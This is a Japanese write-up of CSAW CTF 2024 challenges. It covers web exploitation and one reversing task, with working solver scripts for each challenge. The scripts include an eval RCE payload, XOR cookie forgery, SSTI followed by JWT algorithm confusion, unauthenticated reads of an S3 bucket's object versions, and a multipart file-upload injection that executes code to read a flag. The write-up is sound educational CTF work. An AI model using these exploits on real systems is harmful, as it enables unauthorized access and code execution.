CSAW CTF 2024 - web writeup
毎度、脆弱エンジニアでCSAW CTFに参加して、103位でした。問題自体は全体的に簡単で、webは一問以外は3時間程度でクリアしてしまったので、実質他ジャンルにチャレンジする会となりました。
全体的な感想を一言で言うなら、長文で英語を書くことが苦にならないくらいの英語力があって良かったと思っています。
✅ Playing on the Backcourts(50pts 479/1184 クリア率40%)
PONGが遊べるサイト。いろんなエンドポイントがあるが、/get_eval
という明らかに怪しいエンドポイントがある。
@app.route('/get_eval', methods=['POST'])
def get_eval() -> Flask.response_class:
try:
data = request.json
expr = data['expr']
return jsonify(status='success', result=deep_eval(expr))
except Exception as e:
return jsonify(status='error', reason=str(e))
def deep_eval(expr:str) -> str:
try:
nexpr = eval(expr)
except Exception as e:
return expr
return deep_eval(nexpr)
したがって、safetytime
というフラグが書かれている変数をevalで読み込めばクリ...
$ python solver.py
{"result":"csawctf{7h1s_1S_n07_7h3_FL49_y0u_4R3_l00K1n9_f0R}","status":"success"}
...
というわけで__import__('os').popen('<シェルスクリプト>').read()
といったRCEも駆使しながらいろいろ見ていくと、leaderboard.txt
にフラグが存在することがわかった。
以下ソルバー
import requests
URL = "https://backcourts.ctf.csaw.io/"
# URL = "http://localhost:5000/"
s = requests.session()
data = {
"expr": "open('leaderboard.txt').read()"
}
# data = {
# "expr": "__import__('os').popen('ls').read()"
# }
r = s.post(URL + "get_eval", json=data)
print(r.text)
✅ Log Me In(50pts 479/1184 クリア率29%)
ログインができるだけのシンプルなサイト。userinfo['uid'] == 0
を満たすような状態でログインし、/user
にアクセスするとクリア。
@pagebp.route('/user')
def user():
cookie = request.cookies.get('info', None)
name='hello'
msg='world'
if cookie == None:
return render_template("user.html", display_name='Not Logged in!', special_message='Nah')
userinfo = decode(cookie)
if userinfo == None:
return render_template("user.html", display_name='Error...', special_message='Nah')
name = userinfo['displays']
msg = flag if userinfo['uid'] == 0 else "No special message at this time..."
return render_template("user.html", display_name=name, special_message=msg)
cookieのエンコーディングは以下の通り。シンプルなXOR暗号である。
# Some cryptographic utilities
def encode(status: dict) -> str:
try:
plaintext = json.dumps(status).encode()
out = b''
for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()):
out += bytes([i^j])
return bytes.hex(out)
except Exception as s:
LOG(s)
return None
def decode(inp: str) -> dict:
try:
token = bytes.fromhex(inp)
out = ''
for i,j in zip(token, os.environ['ENCRYPT_KEY'].encode()):
out += chr(i ^ j)
user = json.loads(out)
return user
except Exception as s:
LOG(s)
return None
暗号化される文字列は予測可能なので、cookieによって読み取れる暗号文と、予測される平文をXORすることによって、os.environ['ENCRYPT_KEY']
を逆算できる。この結果を利用して、userinfo['uid'] == 0
を満たすようなcookieを作成して/user
にアクセスするとフラグが得られる。
以下ソルバー
import json
import requests
URL = "https://logmein1.ctf.csaw.io/"
def xor(v1, v2):
res = ''
for i,j in zip(v1, v2):
res += chr(i ^ j)
return res.encode()
s = requests.session()
user = {
"username": "x"*50,
"displayname": "y"*50,
"password": "pass"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)
cbytes = bytes.fromhex(s.cookies["info"])
exp_text = json.dumps({
'username':user["username"],
'displays':user["displayname"],
'uid':1
}).encode()
key = xor(cbytes, exp_text)
s = requests.session()
new_text = json.dumps({
'username':user["username"],
'displays':user["displayname"],
'uid':0
}).encode()
s.cookies["info"] = xor(key, new_text).hex()
r = s.get(URL + "user")
print(r.text)
✅ Lost Pyramid (126pts 252/1184 クリア率21%)
次の条件を満たすようなJWTをcookieに持たせた上で、/kings_lair
にアクセスするとフラグがもらえる。
-
ROLE
が"royalty"
-
CURRENT_DATE
がグローバル変数KINGSDAY
と一致 -
jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())
で復号できる。
@app.route('/kings_lair', methods=['GET'])
def kings_lair():
token = request.cookies.get('pyramid')
if not token:
return jsonify({"error": "Token is required"}), 400
try:
decoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())
if decoded.get("CURRENT_DATE") == KINGSDAY and decoded.get("ROLE") == "royalty":
return render_template('kings_lair.html')
else:
return jsonify({"error": "Access Denied: King said he does not way to see you today."}), 403
""" snap """
/scrab_room
という別のエンドポイントに、SSTIの脆弱性がある。
@app.route('/scarab_room', methods=['GET', 'POST'])
def scarab_room():
try:
if request.method == 'POST':
name = request.form.get('name')
if name:
kings_safelist = ['{','}', '𓁹', '𓆣','𓀀', '𓀁', '𓀂', '𓀃', '𓀄', '𓀅', '𓀆', '𓀇', '𓀈', '𓀉', '𓀊',
'𓀐', '𓀑', '𓀒', '𓀓', '𓀔', '𓀕', '𓀖', '𓀗', '𓀘', '𓀙', '𓀚', '𓀛', '𓀜', '𓀝', '𓀞', '𓀟',
'𓀠', '𓀡', '𓀢', '𓀣', '𓀤', '𓀥', '𓀦', '𓀧', '𓀨', '𓀩', '𓀪', '𓀫', '𓀬', '𓀭', '𓀮', '𓀯',
'𓀰', '𓀱', '𓀲', '𓀳', '𓀴', '𓀵', '𓀶', '𓀷', '𓀸', '𓀹', '𓀺', '𓀻']
name = ''.join([char for char in name if char.isalnum() or char in kings_safelist])
return render_template_string('''
<!DOCTYPE html>
<html lang="en">
<!-- snap -->
<body>
<a href="{{ url_for('hallway') }}" class="return-link">RETURN</a>
{% if name %}
<h1>𓁹𓁹𓁹 Welcome to the Scarab Room, '''+ name + ''' 𓁹𓁹𓁹</h1>
{% endif %}
</body>
</html>
''', name=name, **globals())
except Exception as e:
pass
return render_template('scarab_room.html')
name
には英数字と{}
、そしてヒエログリフしか利用できないが、{{PUBLICKEY}}
や{{KINGSDAY}}
といったペイロードを利用することによって、それらの値を取得できる。
さて、サーバーではjwtはEdDSA
という暗号方式を利用している。これは、暗号化に秘密鍵が、復号に公開鍵が必要なタイプの暗号化形式である。
@app.route('/entrance', methods=['GET'])
def entrance():
payload = {
"ROLE": "commoner",
"CURRENT_DATE": f"{current_date}_AD",
"exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=(365*3000))
}
token = jwt.encode(payload, PRIVATE_KEY, algorithm="EdDSA")
""" snap """
SSTIでは_
が使えずPRIVATE_KEY
を取得することができないため、この暗号化方式と同じ方法では暗号化できない。
しかし、3.の条件にある通り、暗号化方式はjwt.algorithms.get_default_algorithms()
のいずれかでよい。一見none
でも大丈夫なように思えるが、jwt.decode
は、鍵が設定されている状態ではnone
に設定できないようになっている。
ただし、暗号化と復号を同じ鍵で行う形式を利用すれば、取得済みであるPUBLICKEY
で暗号化することができる。今回は、HS256
を利用した。
あとは、条件に当てはまるようなペイロードをjwtで暗号化してcookieに付与し、/kings_lair
にアクセスすればフラグがもらえる。
以下ソルバー
import requests
import re
import jwt
URL = "https://lost-pyramid.ctf.csaw.io/"
# URL = "http://localhost:8050/"
s = requests.session()
data = {
"name": "{{KINGSDAY}}"
}
r = s.post(URL + "scarab_room", data=data)
KINGSDAY = re.findall("Room, (.+) ", r.text)[0]
data = {
"name": "{{PUBLICKEY}}"
}
r = s.post(URL + "scarab_room", data=data)
PUBLICKEY = re.findall("Room, (.+) ", r.text)[0][6:-5]
payloads = {
"CURRENT_DATE": KINGSDAY,
"ROLE": "royalty"
}
s.cookies["pyramid"] = jwt.encode(payloads, PUBLICKEY, "HS256")
r = s.get(URL + "kings_lair")
print(r.text)
✅ BucketWars (415pts 479/1184 クリア率10%)
バケツについて説明(?)が乗っているサイト。ソースコードはなし。
/versions.html
にアクセスすると、過去のバージョンが見れる。ただし、v1については「YIKES」と表示されるだけだ。
ステータスコードが404になるようなページを見ると、このサイトがawsのs3を通じて提供されていることがわかる。
バケツの説明を呼んでみる。ここで、s3の提供されるファイルのグループの単位もbucket
と呼ばれることに注意する。
/index.html
Looking deeper into the stolen bucket only reveals past versions of our own selves one might muse
盗まれたバケツをさらに深く探っていくと、過去バージョンの自分が見えてくる。
/index_v3.html
Bucket for one?
1のバケツ?
ヒントを元に、/index_v1.html
の過去のバージョンが見られるような設定になってないか確かめたい。aws cliのs3api
というコマンド群を利用すると、s3の様々な情報を取得することができる。list-object-versions
というコマンドによって過去のバージョンの一覧を取得できる。
s3が正しく設定されていれば、このコマンドは失敗するはずだが、誤って全てのユーザーが利用できてしまう場合、--no-sign-request
オプションを利用すると、認証なしでデータを取得できてしまう。
aws s3api list-object-versions --bucket bucketwars.ctf.csaw.io --no-sign-request --prefix index_v1.html
実行結果
{
"Versions": [
{
"ETag": "\"07bb73d00569d07588c0b5661438d9d8\"",
"Size": 1118,
"StorageClass": "STANDARD",
"Key": "index_v1.html",
"VersionId": "xueLuUGnF1kS6dcOaspeUUZN0N4Cdlsq",
"IsLatest": true,
"LastModified": "2024-08-05T01:59:50+00:00"
},
{
"ETag": "\"d3f2f46b2f1814b636cb1c7991a1a328\"",
"Size": 1290,
"StorageClass": "STANDARD",
"Key": "index_v1.html",
"VersionId": "ToA1N09DluJkPVFATO6IwOTZzhDkva09",
"IsLatest": false,
"LastModified": "2024-08-05T00:26:48+00:00"
},
{
"ETag": "\"5c3665517b3e538158ab09b15a647dbb\"",
"Size": 1456,
"StorageClass": "STANDARD",
"Key": "index_v1.html",
"VersionId": "zCVAK4kjygiOnWWGGi1BZOR87Ef09Z0L",
"IsLatest": false,
"LastModified": "2024-08-05T00:20:20+00:00"
},
{
"ETag": "\"9a5824c100e6975c203e2ae517c9ec0d\"",
"Size": 1555,
"StorageClass": "STANDARD",
"Key": "index_v1.html",
"VersionId": "CFNz2JPIIJfRlNfnVx8a45jgh0J90KxS",
"IsLatest": false,
"LastModified": "2024-08-05T00:20:08+00:00"
},
{
"ETag": "\"130f7fdffa9c3a0e24853b651dfe07ac\"",
"Size": 1571,
"StorageClass": "STANDARD",
"Key": "index_v1.html",
"VersionId": "t6G6A20JCaF5nzz6KuJR6Pj1zePOLAdB",
"IsLatest": false,
"LastModified": "2024-08-05T00:19:57+00:00"
}
],
"RequestCharged": null
}
以下のコマンドで、ファイルを実際に取得できる。
aws s3api get-object --bucket bucketwars.ctf.csaw.io --no-sign-request --key index_v1.html --version-id <VersionId> index_v1_1.html
すると、最も古いファイルには画像が埋め込まれていた。
Wait what's here?
<img src="https://asdfaweofijaklfdjkldfsjfas.s3.us-east-2.amazonaws.com/sand-pit-1345726_640.jpg">
二番目に古いファイルには、パスワードが含まれていた。
Oh it can't be
<!-- Note to self: be sure to delete this password: versions_leaks_buckets_oh_my -->
初日はここまでたどり着いて、パスワードの使いみちがわからず途方にくれていた。作成者の情報がわかればIAMユーザーとしてログインできるか?あるいは、S3にパスワードを利用するような設定があったか?などいろいろ悩んだ。
そして、Forensicsの問題を解いているときにそういえばSteghideというものがあることを思い出した。これは、jpegの中に任意のファイルを埋め込むことができるツールだ。
いや、そんなわけ...
$ curl https://asdfaweofijaklfdjkldfsjfas.s3.us-east-2.amazonaws.com/sand-pit-1345726_640.jpg --output img.jpg && steghide extract -sf img.jpg -p versions_leaks_buckets_oh_my
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 202k 100 202k 0 0 199k 0 0:00:01 0:00:01 --:--:-- 199k
wrote extracted data to "flag.txt".
はぁ.........
✅ Charlies Angels (423pts 115/1184 クリア率9.7%)
ごめんなさい。このサイトが本来何したいのか全く分かりませんでした。本来の機能より脆弱性の方が明らかなのなあぜなあぜ?
node
とpy
という2つのサーバーが立っている。このうち、ユーザーがアクセスできるのはnode
のみ。
py
の、/restore
というエンドポイントには、pythonファイルを実行する機能がある。また、そのためのファイルも/backup
というエンドポイントでアップロードできる。
BANNED = ["app.py", "flag", "requirements.txt"]
@app.route('/backup', methods=["POST"])
def backup():
if request.files:
for x in request.files:
file = request.files.get(x)
for f in BANNED:
if file.filename in f or ".." in file.filename:
return "ERROR"
try:
name = file.filename
if "backups/" not in name:
name = "backups/" + name
f = open(name, "a")
f.write(file.read().decode())
f.close()
except:
return "ERROR"
else:
backupid = "backups/" + request.json["id"] + ".json"
angel = request.json["angel"]
f = open(backupid, "a")
f.write(angel)
f.close()
return "SUCCESS"
@app.route('/restore', methods=["GET"])
def restore():
filename = os.path.join("backups/", request.args.get('id'))
restore = "ERROR"
if os.path.isfile(filename + '.py'):
try:
py = filename + '.py'
test = subprocess.check_output(['python3', py])
if "csawctf" in str(test):
return "ERROR"
restore = str(test)
except subprocess.CalledProcessError as e:
filename = "backups/" + request.args.get('id') + 'json'
if not os.path.isfile(filename): return "ERROR"
f = open(filename, "r")
jsonified = json.dumps(f.read())
if "flag" not in filename or "csawctf" not in jsonified:
restore = jsonified
return restore
ファイルのアップロードに関しては、multipart/form-data
の形式でPOSTできたら良さそうだ。
js
でこのエンドポイントを呼び出している箇所を見てみる。
app.post('/angel', (req, res) => {
for (const [k,v] of Object.entries(req.body.angel)) {
if (k != "talents" && typeof v != 'string') {
return res.status(500).send("ERROR!");
}
}
req.session.angel = {
name: req.body.angel.name,
actress: req.body.angel.actress,
movie: req.body.angel.movie,
talents: req.body.angel.talents
};
const data = {
id: req.sessionID,
angel: req.session.angel
};
const boundary = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
needle.post(BACKUP + '/backup', data, {multipart: true, boundary: boundary}, (error, response) => {
if (error){
console.log(error);
return res.status(500).sendFile('public/html/error.html', {root: __dirname});
}
});
return res.status(200).send(req.sessionID);
});
needle
というライブラリを使っているので、ファイルのアップロードの方法を見てみると、
needle.post(URL, {
python_file: {
buffer : "print(open('/flag').read())",
filename : 'foobar.py',
content_type : 'text/plain'
}
}, { multipart: true }, ...);
といった形式でファイルを文字列で送ることができるようだ。body.angel.talents
には任意の文字列を送ることができるので、次のようなリクエストを送るとファイルが生成される
data = {
"angel": {
"talents": {
"buffer": "print(open('/flag').read())",
"filename": f"foobar.py",
"content_type": "text/plain",
}
}
}
r = s.post(URL + "angel", json=data)
次にpy
の/restore
がどのように送られているかを確認する
app.get('/restore', authn, (req, res) => {
let restoreURL = BACKUP + `/restore?id=${req.sessionID}`;
needle.get(restoreURL, (error, response) => {
try {
if (error) throw new Error(error);
if (response.body == "ERROR") throw new Error("HTTP Client error");
return res.send(response.body);
} catch (e) {
if (e.message != "HTTP Client error") {
console.log(e);
}
return res.status(500).sendFile('public/html/error.html', {root: __dirname});
}
});
});
id
のパラメータがreq.sessionID
となっているので、pythonのコードを組み合わせて考えると、<req.sessionID>.py
というファイルが実行されることがわかる。
したがって、次のようなステップでフラグを入手できる。
- 適当なペイロードで
/angel
を叩き、sessionID
を取得する - その
sessionID
のファイル名でフラグを読み込むファイルを生成する -
/restore
を叩き、ファイルを実行、結果を確認する。
また、実行結果にcsawctf
の文字があるとエラーになる
@app.route('/restore', methods=["GET"])
def restore():
""" snap """
if "csawctf" in str(test):
return "ERROR"
これは単純に実行した結果にcsawctf
が含まれないようにprint(open('/flag').read()[1:])
とすればよい。
以下がソルバー
import requests
URL = "https://charliesangels.ctf.csaw.io/"
# URL = "http://localhost:1337/"
s = requests.session()
filename = "foobar"
data = {
"angel": {
"name": "aname",
"actress": "aactress",
"movie": "foobar",
}
}
r = s.post(URL + "angel", json=data)
id = r.text
data = {
"angel": {
"talents": {
"filename": f"{id}.py",
"buffer": "print(open('/flag').read()[1:])",
"content_type": "text/plain",
}
}
}
r = s.post(URL + "angel", json=data)
r = s.get(URL + "restore")
print(r.text)
おまけ: ✅ Archeology (426pts 113/1184 クリア率9.5%)
普段はあまり解いてないRev問題が面白かったので、たまにはwriteup書きます。
バイナリのchal
というファイル、縦に256個のヒエログリフが並んだhieroglyph.txt
、そしてmessage.txt
というファイルが与えられる。chal
を実行してみると次のようになる。
$ ./chal teststring
Encrypted data: 𓁙𓅈𓃳𓆞𓀚𓅀𓁝𓀘𓃹𓅀
$ ./chal teststrinh
Encrypted data: 𓁛𓅶𓃮𓀊𓆑𓆔𓁯𓅉𓁲𓆔
入力文字数と出力文字数同じであることから、何らかの暗号化が施されていることがわかる。chal
はELFなので、早速Ghidraでデコンパイルしてみよう。
興味がある場所は以下の通り。若干型の調整と変数名の割当を行った。
local_272d = 0xddccbbaa;
local_2729 = 0xee;
input = (char *)param_2[1];
*(undefined8 *)(puVar6 + -0x1788) = 0x1017ae;
sVar5 = strlen(input);
input_len = (int)sVar5;
idx = 0;
*(undefined8 *)(puVar6 + -0x1788) = 0x1017d2;
printf("Encrypted data: ");
*(undefined8 *)(puVar6 + -0x1788) = 0x1017ed;
washing_machine(input,(long)input_len);
for (i = 0; i < input_len; i = i + 1) {
program[idx] = '\0';
iVar1 = idx + 2;
program[idx + 1] = '\x01';
idx = idx + 3;
program[iVar1] = input[i];
for (j = 0; j < 10; j = j + 1) {
program[idx] = '\0';
program[idx + 1] = '\0';
program[idx + 2] = *(char *)((long)&local_272d + (long)((j + i * 10) % 5));
program[idx + 3] = '\b';
program[idx + 4] = '\x01';
program[idx + 5] = '\x03';
program[idx + 6] = '\x03';
program[idx + 7] = '\x01';
program[idx + 8] = '\x01';
program[idx + 9] = '\x01';
program[idx + 10] = '\0';
program[idx + 0xb] = '\x02';
iVar1 = idx + 0xd;
program[idx + 0xc] = '\x01';
idx = idx + 0xe;
program[iVar1] = '\x03';
}
program[idx] = '\x04';
iVar1 = idx + 2;
program[idx + 1] = '\x01';
idx = idx + 3;
program[iVar1] = (char)i;
}
program[idx] = '\a';
*(undefined8 *)(puVar6 + -0x1788) = 0x101aa6;
runnnn(program);
*(undefined8 *)(puVar6 + -0x1788) = 0x101ac0;
washing_machine(memory,(long)input_len);
*(undefined8 *)(puVar6 + -0x1788) = 0x101ad9;
__stream = fopen("hieroglyphs.txt","r");
if (__stream != (FILE *)0x0) {
iStack_1275c = 0;
while( true ) {
*(undefined8 *)(puVar6 + -0x1788) = 0x101b8a;
input = fgets(acStack_12738 + (long)iStack_1275c * 0x100,0x100,__stream);
if ((input == (char *)0x0) || (0xff < iStack_1275c)) break;
*(undefined8 *)(puVar6 + -0x1788) = 0x101b37;
sVar5 = strcspn(acStack_12738 + (long)iStack_1275c * 0x100,"\n");
acStack_12738[sVar5 + (long)iStack_1275c * 0x100] = '\0';
iStack_1275c = iStack_1275c + 1;
}
*(undefined8 *)(puVar6 + -0x1788) = 0x101bae;
fclose(__stream);
for (iStack_12758 = 0; iStack_12758 < input_len; iStack_12758 = iStack_12758 + 1) {
bVar2 = memory[iStack_12758];
*(undefined8 *)(puVar6 + -0x1788) = 0x101c01;
printf("%s",acStack_12738 + (long)(int)(uint)bVar2 * 0x100);
}
*(undefined8 *)(puVar6 + -0x1788) = 0x101c20;
putchar(10);
/* WARNING: Subroutine does not return */
*(undefined8 *)(puVar6 + -0x1788) = 0x101c2a;
exit(0);
}
流れとしては以下の通り。
-
washing_machine
という関数で、input
を変更 -
program
という文字列を作成 -
runnnnn
関数を実行 -
washing_machine
という関数で、memory
を変更 -
memory
の中身を、対応するヒエログリフに変換して出力
5.の箇所は、例えば値が0だったらhieroglyph.txt
の1行目、1だったら2行目...のようにしているだけなので、簡単に逆算できる。
message = open('message.txt', "r").read()
hieroglyphs = open('hieroglyphs.txt', 'r').read()
hieroglyphs = hieroglyphs.split("\n")[:-1]
message = [hieroglyphs.index(x) for x in message]
次に、washing_machine
が何をしているのかを確認する。
void washing_machine(byte *input,ulong input_len)
{
byte prev;
ulong i;
ulong j;
byte tmp;
prev = *input;
for (i = 1; i < input_len; i = i + 1) {
prev = input[i] ^ prev;
input[i] = prev;
}
for (j = 0; j < input_len >> 1; j = j + 1) {
tmp = input[j];
input[j] = input[(input_len - j) + -1];
input[(input_len - j) + -1] = tmp;
}
return;
}
次のような操作である。
- 1文字目を0文字目とのXORに置換する。
- 2文字目を置換された1文字目とのXORに置換する
- 1-2を全部の文字で繰り返す
- 最初の文字と最後の文字を交換する
- 2文字目と、最後から2文字目を交換する
- 4-5を全部の文字で繰り返す
次がこれを逆算するコードとなる
def dewash(input):
for i in range(len(input) // 2):
input[i] , input[(len(input)-i) - 1] = input[(len(input)-i) - 1], input[i]
for i in range(len(input)-1, 0, -1):
input[i] = input[i] ^ input[i-1]
return input
次に、runnnn
が何をしているのかを見よう。
void runnnn(char *program)
{
int iVar1;
int iVar2;
byte bVar3;
int idx;
bool finish;
idx = 0;
finish = true;
while (finish) {
iVar1 = idx + 1;
switch(program[idx]) {
case '\0':
iVar2 = idx + 2;
idx = idx + 3;
regs[(int)(uint)(byte)program[iVar1]] = program[iVar2];
break;
case '\x01':
iVar2 = idx + 2;
idx = idx + 3;
regs[(int)(uint)(byte)program[iVar1]] =
regs[(int)(uint)(byte)program[iVar1]] ^ regs[(int)(uint)(byte)program[iVar2]];
break;
case '\x02':
iVar2 = idx + 2;
bVar3 = program[iVar1];
idx = idx + 3;
regs[(int)(uint)bVar3] =
regs[(int)(uint)bVar3] << (program[iVar2] & 0x1fU) |
(byte)((int)(uint)(byte)regs[(int)(uint)bVar3] >> (8U - program[iVar2] & 0x1f));
break;
case '\x03':
idx = idx + 2;
regs[(int)(uint)(byte)program[iVar1]] =
sbox[(int)(uint)(byte)regs[(int)(uint)(byte)program[iVar1]]];
break;
case '\x04':
iVar2 = idx + 2;
idx = idx + 3;
memory[(int)(uint)(byte)program[iVar2]] = regs[(int)(uint)(byte)program[iVar1]];
break;
case '\x05':
iVar2 = idx + 2;
idx = idx + 3;
regs[(int)(uint)(byte)program[iVar1]] = memory[(int)(uint)(byte)program[iVar2]];
break;
case '\x06':
idx = idx + 2;
putchar((uint)(byte)regs[(int)(uint)(byte)program[iVar1]]);
break;
case '\x07':
finish = false;
idx = iVar1;
break;
case '\x08':
bVar3 = program[iVar1];
regs[(int)(uint)bVar3] =
(byte)((int)(uint)(byte)regs[(int)(uint)bVar3] >> (program[idx + 2] & 0x1fU)) |
regs[(int)(uint)bVar3] << (8U - program[idx + 2] & 0x1f);
idx = idx + 3;
break;
default:
puts("Invalid instruction");
finish = false;
idx = iVar1;
}
}
return;
}
どうやら、独自のバイトコード的なものが定義されている。現在注目している位置のprogram
の値を読み取り、それを元にその先の1~2バイト先を利用して、regs
という配列に対して操作を行っているようだ。以下、v1
を1つ目のオペランド、v2
を2つ目のオペランドとする。
- 0 -
reg[v1]
にv2
を代入する - 1 -
reg[v1]
をreg[v1]
XORreg[v2]
に置き換える - 2 -
reg[v1]
をv2
分左算術シフトする - 3 -
reg[v1]
をsbox[reg[v1]]
に置き換える - 4 -
reg[v1]
をmemory[v2]
に保存する。 - 7 - プログラムを終了する。
- 8 -
reg[v1]
をv2
分右算術シフトする
ここで、sbox
は0から255の値の入った配列をシャッフルしたような内容になっているので、3は全単射の操作となっている。
以上を踏まえて、実行されるプログラムは次のpythonプログラムに大体等しい
regs = [None] * 8
memory = []
sft = [ord(x) for x in ["\xaa", "\xbb","\xcc","\xdd","\xee"]]
for i in range(len(message)):
regs[1] = input[i]
for j in range(10):
regs[0] = sft[j%5]
regs[1] = (regs[1] >> 3) | (regs[1] << 5) & 0xFF
regs[1] = sbox[regs[1]]
regs[1] = regs[1] ^ regs[0]
regs[1] = (regs[1] << 3) | (regs[1] >> 5) & 0xFF
memory.append(regs[1])
これを逆算すると、次のようになる
res = []
for cur in message:
for j in range(9,-1,-1):
cur = ((cur >> 3) | (cur << 5)) & 0xFF
cur = cur ^ sft[j%5]
cur = sbox.index(cur)
cur = ((cur << 3) | (cur >> 5)) & 0xFF
res.append(cur)
以上までをまとめたのが以下のソルバーとなる
def dewash(input):
for i in range(len(input) // 2):
input[i] , input[(len(input)-i) - 1] = input[(len(input)-i) - 1], input[i]
for i in range(len(input)-1, 0, -1):
input[i] = input[i] ^ input[i-1]
return input
message = open('message.txt', "r").read()
hieroglyphs = open('hieroglyphs.txt', 'r').read()
hieroglyphs = hieroglyphs.split("\n")[:-1]
message = [hieroglyphs.index(x) for x in message]
message = dewash(message)
sbox = [int(x, 16) for x in "48 5c bc 97 81 91 60 ad 94 cb 92 39 1a 0f 30 2d 45 de 14 a2 08 57 b6 ae 76 8e 87 15 0c e7 62 c8 58 29 6d c9 a7 be 04 49 05 fa 75 9f fd 95 bb 5b 79 bf da eb 21 9b a5 82 3a 3e b9 99 f0 f5 6b 06 fc af f2 b0 78 86 cf d4 83 59 00 4a b5 fe ab 3d c7 8c e3 c3 e5 03 5a 1d 9d 1f 0a 56 c0 ba 43 25 77 24 7c a6 df f1 4b 44 ff 4c aa c1 69 f9 38 88 9a a4 e6 10 dc ea 68 8d 5f 63 bd 8b f3 7e db 73 5d 65 67 a1 72 d8 b1 1b 9e 84 16 32 e1 f4 ef 93 ac 74 36 8f cc 61 0d 35 12 dd 4e c4 64 3f 09 70 2a fb c5 85 3b 1c 50 19 d5 e9 47 0b e2 ca c6 f7 b2 d6 f8 11 54 6e 90 c2 ec 96 51 d7 e8 31 80 7d 18 34 b7 02 a0 7a b3 d0 46 66 37 1e 7b 42 6c 17 d9 33 2b 22 ce a9 7f b4 07 6a 41 40 26 2f a8 cd 71 b8 53 13 5e f6 e0 52 4f 6f e4 89 3c 9c a3 8a 4d 28 0e d3 d2 98 ee 2c 2e ed 27 20 01 23 55 d1".split(' ')]
regs = [None] * 8
sft = [ord(x) for x in ["\xaa", "\xbb","\xcc","\xdd","\xee"]]
res = []
for m in message:
cur = m
for j in range(9,-1,-1):
cur = ((cur >> 3) | (cur << 5)) & 0xFF
cur = cur ^ sft[j%5]
cur = sbox.index(cur)
cur = ((cur << 3) | (cur >> 5)) & 0xFF
res.append(cur)
print("".join([chr(x) for x in dewash(res)]))
Discussion